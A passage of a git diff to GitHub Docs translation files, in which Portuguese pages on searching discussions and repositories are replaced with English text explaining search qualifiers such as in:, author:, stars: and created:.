%}](/github/searching-for-information-on-github/about-searching-on-github)." {% data reusables.search.syntax_tips %} -## Pesquisar por título, texto ou comentários +## Search by the title, body, or comments -Com o qualificador `in`, você pode restringir sua pesquisa por discussões sobre título, texto ou comentários. Você também pode combinar os qualificadores para pesquisar uma combinação de título, texto ou comentários. Ao omitir o qualificador `in` qualificador, {% data variables.product.product_name %} irá pesquisar o título, o texto e os comentários. +With the `in` qualifier you can restrict your search for discussions to the title, body, or comments. You can also combine qualifiers to search a combination of title, body, or comments. When you omit the `in` qualifier, {% data variables.product.product_name %} searches the title, body, and comments. -| Qualifier | Exemplo | -|:------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) corresponde discussões ao título "welcome". | -| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) corresponde discussões com "onboard" no título ou texto. | -| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) corresponde discussões com "thanks" nos comentários para a discussão. | +| Qualifier | Example | +| :- | :- | +| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) matches discussions with "welcome" in the title. | +| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) matches discussions with "onboard" in the title or body. | +| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) matches discussions with "thanks" in the comments for the discussion. | -## Pesquisar nos repositórios de um usuário ou uma organização +## Search within a user's or organization's repositories -Para pesquisar discussões em todos os repositórios pertencentes a um determinado usuário ou organização, você pode usar o qualificador `usuário` ou `org`. Para pesquisar discussões em um repositório específico, você pode usar o qualificador `repositório`. +To search discussions in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. To search discussions in a specific repository, you can use the `repo` qualifier. -| Qualifier | Exemplo | -|:------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) corresponde discussões com a palavra "feedback" dos repositórios pertencentes ao @octocat. | -| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) corresponde discussões em repositórios pertencentes à organização do GitHub. | -| repo:USERNAME/REPOSITORY | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) corresponde discussões do projeto do tempo de execução do Node.js do @nodejs criadas antes de janeiro de 2021. | +| Qualifier | Example | +| :- | :- | +| user:USERNAME | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) matches discussions with the word "feedback" from repositories owned by @octocat. | +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) matches discussions in repositories owned by the GitHub organization. | +| repo:USERNAME/REPOSITORY | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) matches discussions from @nodejs' Node.js runtime project that were created before January 2021. | -## Filtrar por visibilidade do repositório +## Filter by repository visibility -Você pode filtrar pela visibilidade do repositório que contém as discussões que usam o qualificador `is`. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)". +You can filter by the visibility of the repository containing the discussions using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." -| Qualificador | Exemplo | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) corresponde discussões em repositórios públicos.{% endif %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) corresponde discussões em repositórios internos. | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) corresponde discussões que contêm a palavra "tiramisu" em repositórios que você pode acessar. +| Qualifier | Example +| :- | :- |{% ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %} +| `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access. -## Pesquisar por autor +## Search by author -O qualificador do `autor` encontra discussões criadas por um determinado usuário. +The `author` qualifier finds discussions created by a certain user. -| Qualifier | Exemplo | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| author:USERNAME | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) corresponde a discussões com a palavra "cool" criadas por @octocat. | -| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) corresponde a discussões criadas por @octocat que contêm a palavra "bootstrap" no texto. | +| Qualifier | Example | +| :- | :- | +| author:USERNAME | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were created by @octocat. | +| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) matches discussions created by @octocat that contain the word "bootstrap" in the body. | -## Pesquisar por autor do comentário +## Search by commenter -O qualificador `commenter` encontra discussões que contêm um comentário de um usuário específico. +The `commenter` qualifier finds discussions that contain a comment from a certain user. -| Qualifier | Exemplo | -|:------------------------- |:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| commenter:USERNAME | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) corresponde às discussões em repositórios pertencentes ao GitHub, que contêm a palavra "github" e que têm um comentário de @becca. | +| Qualifier | Example | +| :- | :- | +| commenter:USERNAME | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) matches discussions in repositories owned by GitHub, that contain the word "github," and have a comment by @becca. -## Procurar por um usuário envolvido em uma discussão +## Search by a user that's involved in a discussion -Você pode usar o qualificador `envolve` para encontrar discussões que envolvam um determinado usuário. O qualificador retorna discussões que ou foram criadas por um determinado usuário, menciona o usuário, ou contém comentários feitos pelo usuário. O qualificador `involves` é um operador lógico OU entre os qualificadores `autor`, `mentions` e `commenter` para um único usuário. +You can use the `involves` qualifier to find discussions that involve a certain user. The qualifier returns discussions that were either created by a certain user, mention the user, or contain comments by the user. The `involves` qualifier is a logical OR between the `author`, `mentions`, and `commenter` qualifiers for a single user. -| Qualifier | Exemplo | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| involves:USERNAME | **[envolves:becca envolve:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** corresponde às discussões em que @becca ou @octocat estão envolvidos. | -| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) corresponde a discussões @becca que não contêm a palavra "beta" no texto. | +| Qualifier | Example | +| :- | :- | +| involves:USERNAME | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** matches discussions either @becca or @octocat are involved in. +| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) matches discussions @becca is involved in that do not contain the word "beta" in the body. -## Pesquisar por número de comentários +## Search by number of comments -Você pode usar o qualificador `comments` com os qualificadores maior que, menor que e intervalo para pesquisar pelo número de comentários. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can use the `comments` qualifier along with greater than, less than, and range qualifiers to search by the number of comments. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Exemplo | -|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| comments:n | [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) corresponde a discussões com mais de 100 comentários. | -| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) corresponde a discussões com comentários que variam de 500 a 1.000. | +| Qualifier | Example | +| :- | :- | +| comments:n | [**comments:>100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) matches discussions with more than 100 comments. +| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) matches discussions with comments ranging from 500 to 1,000. -## Pesquisar por número de interações +## Search by number of interactions -Você pode filtrar discussões pelo número de interações com o qualificador de `interações` com os qualificadores maior que, menor que e intervalo. A contagem das interações é o número de reações e comentários em uma discussão. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can filter discussions by the number of interactions with the `interactions` qualifier along with greater than, less than, and range qualifiers. The interactions count is the number of reactions and comments on a discussion. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Exemplo | -|:------------------------- |:----------------------------------------------------------------------------------------------------------------------------------------------------- | -| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) corresponde a discussões com mais de 2.000 interações. | -| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) corresponde a discussões com interações que variam de 500 a 1.000. | +| Qualifier | Example | +| :- | :- | +| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) matches discussions with more than 2,000 interactions. +| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches discussions with interactions ranging from 500 to 1,000. -## Pesquisar por número de reações +## Search by number of reactions -Você pode filtrar discussões pelo número de reações usando o qualificador de `reações`, junto os qualificadores maior que, menor que e de intervalo. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can filter discussions by the number of reactions using the `reactions` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Exemplo | -|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------- | -| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E500) corresponde a discussões com mais de 500 reações. | -| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) corresponde a discussões com 500 a 1.000 reações. | +| Qualifier | Example | +| :- | :- | +| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E500) matches discussions with more than 500 reactions. +| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches discussions with reactions ranging from 500 to 1,000. -## Procurar por quando uma discussão foi criada ou quando foi atualizada por último +## Search by when a discussion was created or last updated -Você pode filtrar discussões com base no tempo de criação, ou quando a discussão foi atualizada pela última vez. Para a criação de discussões, você pode usar o qualificador `criado`; para saber quando uma discussão foi atualizada pela última vez, use o qualificador `atualizada`. +You can filter discussions based on times of creation, or when the discussion was last updated. For discussion creation, you can use the `created` qualifier; to find out when an discussion was last updated, use the `updated` qualifier. -Ambos os qualificadores tomam uma data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both qualifiers take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Exemplo | -|:-------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| created:YYYY-MM-DD | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) corresponde a discussões que foram criadas após 15 de novembro de 2020. | -| updated:YYYY-MM-DD | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) corresponde a discussões com a palavra "weird" no texto que foram atualizadas após dezembro de 2020. | +| Qualifier | Example | +| :- | :- | +| created:YYYY-MM-DD | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) matches discussions that were created after November 15, 2020. +| updated:YYYY-MM-DD | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) matches discussions with the word "weird" in the body that were updated after December 2020. -## Leia mais +## Further reading -- "[Ordenar os resultados da pesquisa](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md b/translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md index 16e14d42c5..d0f25c2d0c 100644 --- a/translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md +++ b/translations/pt-BR/content/search-github/searching-on-github/searching-for-repositories.md @@ -1,6 +1,6 @@ --- -title: Pesquisar repositórios -intro: 'Você pode pesquisar repositórios no {% data variables.product.product_name %} e limitar os resultados usando qualquer combinação dos qualificadores de pesquisa de repositórios.' +title: Searching for repositories +intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.' redirect_from: - /articles/searching-repositories/ - /articles/searching-for-repositories @@ -13,190 +13,193 @@ versions: ghec: '*' topics: - GitHub search -shortTitle: Pesquisar repositórios +shortTitle: Search for repositories --- +You can search for repositories globally across all of {% data variables.product.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)." -Você pode pesquisar repositórios globalmente no {% data variables.product.product_location %} ou pesquisar em uma organização específica. Para obter mais informações, consulte "[Sobre a pesquisa no {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)". - -Para incluir bifurcações nos resultados da pesquisa, você precisará adicionar `fork:true` ou `fork:only` à sua consulta. Para obter mais informações, consulte "[Pesquisar em bifurcações](/search-github/searching-on-github/searching-in-forks)". +To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)." {% data reusables.search.syntax_tips %} -## Pesquisar por nome do repositório, descrição ou conteúdo do arquivo README +## Search by repository name, description, or contents of the README file -Com o qualificador `in`, você pode restringir a pesquisa ao nome do repositório, descrição do repositório, conteúdo do arquivo README ou qualquer combinação desses itens. Quando você omite esse qualificador, somente o nome e a descrição do repositório são pesquisados. +With the `in` qualifier you can restrict your search to the repository name, repository description, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name and description are searched. -| Qualifier | Exemplo | -| ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) corresponde aos repositórios com "jquery" no nome do respositório. | -| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) corresponde aos repositórios com "jquery" no nome ou descrição do repositório. | -| `in:readme` | [**jquery em:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) corresponde aos repositórios que mencionam "jquery" no arquivo README do repositório. | -| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) identifica um nome de repositório específico. | +| Qualifier | Example +| ------------- | ------------- +| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name. +| `in:description` | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description. +| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file. +| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name. -## Pesquisar com base no conteúdo do repositório +## Search based on the contents of a repository -Você pode encontrar um repositório pesquisando pelo conteúdo no arquivo README do repositório usando o qualificador `in:readme`. Para obter mais informações, consulte "[Sobre README](/github/creating-cloning-and-archiving-repositories/about-readmes)". +You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)." -Além de usar o `in:readme`, não é possível encontrar repositórios pesquisando um conteúdo específico no repositório. Para pesquisar um arquivo ou conteúdo específico em um repositório, você pode usar o localizador de arquivos os qualificadores de pesquisa específicos para código. Para obter mais informações, consulte "[Localizar arquivos no {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" e "[Pesquisar códigos](/search-github/searching-on-github/searching-code)". +Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)." -| Qualifier | Exemplo | -| ----------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) corresponde aos repositórios que mencionam "octocat" no arquivo README do repositório. | +| Qualifier | Example +| ------------- | ------------- +| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file. -## Pesquisar nos repositórios de um usuário ou uma organização +## Search within a user's or organization's repositories -Para pesquisar em todos os repositórios de um determinado usuário ou organização, você pode usar os qualificadores `user` ou `org`. +To search in all repositories owned by a certain user or organization, you can use the `user` or `org` qualifier. -| Qualifier | Exemplo | -| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) identifica os repositórios de @defunkt que têm mais de 100 bifurcações. | -| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) identifica os repositórios do GitHub. | +| Qualifier | Example +| ------------- | ------------- +| user:USERNAME | [**user:defunkt forks:>100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks. +| org:ORGNAME | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub. -## Pesquisar por tamanho do repositório +## Search by repository size -O qualificador `size` procura repositórios que têm um tamanho específico (em kilobytes) usando os qualificadores maior que, menor que e intervalo. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)". +The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | -| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) identifica os repositórios que têm exatamente 1 MB. | -| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) identifica os repositórios que têm no mínimo 30 MB. | -| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) identifica os repositórios que têm menos de 50 KB. | -| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) identifica os repositórios que têm entre 50 KB e 120 KB. | +| Qualifier | Example +| ------------- | ------------- +| size:n | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly. +| | [**size:>=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB. +| | [**size:<50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB. +| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB. -## Pesquisar por número de seguidores +## Search by number of followers -É possível filtrar repositórios com base no número de usuários que seguem os repositórios, usando o qualificador `followers` com os qualificadores com maior que, menor que e intervalo. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| followers:n | [**seguidores do nó:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) coincide com repositórios com 10.000 ou mais seguidores e que mencionam a palavra "nó". | -| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) identifica os repositórios com 1 e 10 seguidores que mencionam a palavra "styleguide linter". | +| Qualifier | Example +| ------------- | ------------- +| followers:n | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node". +| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter." -## Pesquisar por número de bifurcações +## Search by number of forks -O qualificador `forks` especifica o número de bifurcações que um repositório deve ter usando os qualificadores maior que, menor que e intervalo. Para obter mais informações, consulte "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)". +The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Exemplo | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | -| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) identifica repositórios com apenas cinco bifurcações. | -| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) identifica repositórios com no mínimo 205 bifurcações. | -| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) identifica repositórios com menos de 90 bifurcações. | -| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) identifica repositórios com 10 a 20 bifurcações. | +| Qualifier | Example +| ------------- | ------------- +| forks:n | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks. +| | [**forks:>=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks. +| | [**forks:<90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks. +| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks. -## Pesquisar por número de estrelas +## Search by number of stars -Você pode pesquisar repositórios com base no número de estrelas que os repositórios têm, usando os qualificadores maior que, menor que e intervalo. Para obter mais informações, consulte "[Salvar repositórios com estrelas](/github/getting-started-with-github/saving-repositories-with-stars)" e "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) identifica repositórios com exatamente 500 estrelas. | -| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) identifica repositórios com 10 a 20 estrelas com menos de 1.000 KB. | -| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) identifica os repositórios que tem no mínimo 500 estrelas, incluindo os bifurcados e que foram escritos em PHP. | +| Qualifier | Example +| ------------- | ------------- +| stars:n | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars. +| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB. +| | [**stars:>=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP. -## Pesquisar por data da criação ou da última atualização do repositório +## Search by when a repository was created or last updated -Você pode filtrar repositórios com base na data de criação ou da última atualização. Para a criação do repositório, você pode usar o qualificador `created`. Para descobrir quando um repositório foi atualizado pela última vez, você precisará usar o qualificador `pushed`. O qualificador `pushed` retorna uma lista de repositórios, classificados pelo commit mais recente feito em qualquer branch no repositório. +You can filter repositories based on time of creation or time of last update. For repository creation, you can use the `created` qualifier; to find out when a repository was last updated, you'll want to use the `pushed` qualifier. The `pushed` qualifier will return a list of repositories, sorted by the most recent commit made on any branch in the repository. -Os dois usam uma data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) identifica repositórios com a palavra "webos" que foram criados antes de 2011. | -| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) identifica repositórios com a palavra "css" cujo push ocorreu antes de janeiro de 2013. | -| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) identifica repositórios com a palavra "case" cujo push foi feito em 6 de março de 2013 ou depois dessa data e que são bifurcações. | +| Qualifier | Example +| ------------- | ------------- +| created:YYYY-MM-DD | [**webos created:<2011-01-01**](https://github.com/search?q=webos+created%3A%3C2011-01-01&type=Repositories) matches repositories with the word "webos" that were created before 2011. +| pushed:YYYY-MM-DD | [**css pushed:>2013-02-01**](https://github.com/search?utf8=%E2%9C%93&q=css+pushed%3A%3E2013-02-01&type=Repositories) matches repositories with the word "css" that were pushed to after January 2013. +| | [**case pushed:>=2013-03-06 fork:only**](https://github.com/search?q=case+pushed%3A%3E%3D2013-03-06+fork%3Aonly&type=Repositories) matches repositories with the word "case" that were pushed to on or after March 6th, 2013, and that are forks. -## Pesquisar por linguagem +## Search by language -Você pode pesquisar repositórios com base na linguagem do código nos repositórios. +You can search repositories based on the language of the code in the repositories. -| Qualifier | Exemplo | -| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| language:LANGUAGE | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) identificar repositórios com a palavra"rails" e que foram escritos em JavaScript. | +| Qualifier | Example +| ------------- | ------------- +| language:LANGUAGE | [**rails language:javascript**](https://github.com/search?q=rails+language%3Ajavascript&type=Repositories) matches repositories with the word "rails" that are written in JavaScript. -## Pesquisar por tópico +## Search by topic -Você pode encontrar todos os repositórios classificados com um determinado tópico. Para obter mais informações, consulte "[Classificar seu repositório com tópicos](/github/administering-a-repository/classifying-your-repository-with-topics)". +You can find all of the repositories that are classified with a particular topic. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)." -| Qualifier | Exemplo | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| topic:TOPIC | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) identifica os repositórios que foram classificados com o tópico "jekyll". | +| Qualifier | Example +| ------------- | ------------- +| topic:TOPIC | [**topic:jekyll**](https://github.com/search?utf8=%E2%9C%93&q=topic%3Ajekyll&type=Repositories&ref=searchresults) matches repositories that have been classified with the topic "jekyll." -## Pesquisar por número de tópicos +## Search by number of topics -Você pode pesquisar repositórios pelo número de tópicos que foram aplicados aos repositórios, usando o qualificador `topics` junto com os qualificadores maior que, menor que e intervalo. Para obter mais informações, consulte "[Classificar seu repositório com tópicos](/github/administering-a-repository/classifying-your-repository-with-topics)" e "[Entender a sintaxe de pesquisa](/github/searching-for-information-on-github/understanding-the-search-syntax)". +You can search repositories by the number of topics that have been applied to the repositories, using the `topics` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Classifying your repository with topics](/github/administering-a-repository/classifying-your-repository-with-topics)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)." -| Qualifier | Exemplo | -| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| topics:n | [**topics:5**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A5&type=Repositories&ref=searchresults) identifica os repositórios com cinco tópicos. | -| | [**tópicos:>3**](https://github.com/search?utf8=%E2%9C%93&q=topics%3A%3E3&type=Repositories&ref=searchresults) correspondem a repositórios com mais de três tópicos. | +| Qualifier | Example +| ------------- | ------------- +| topics:n | 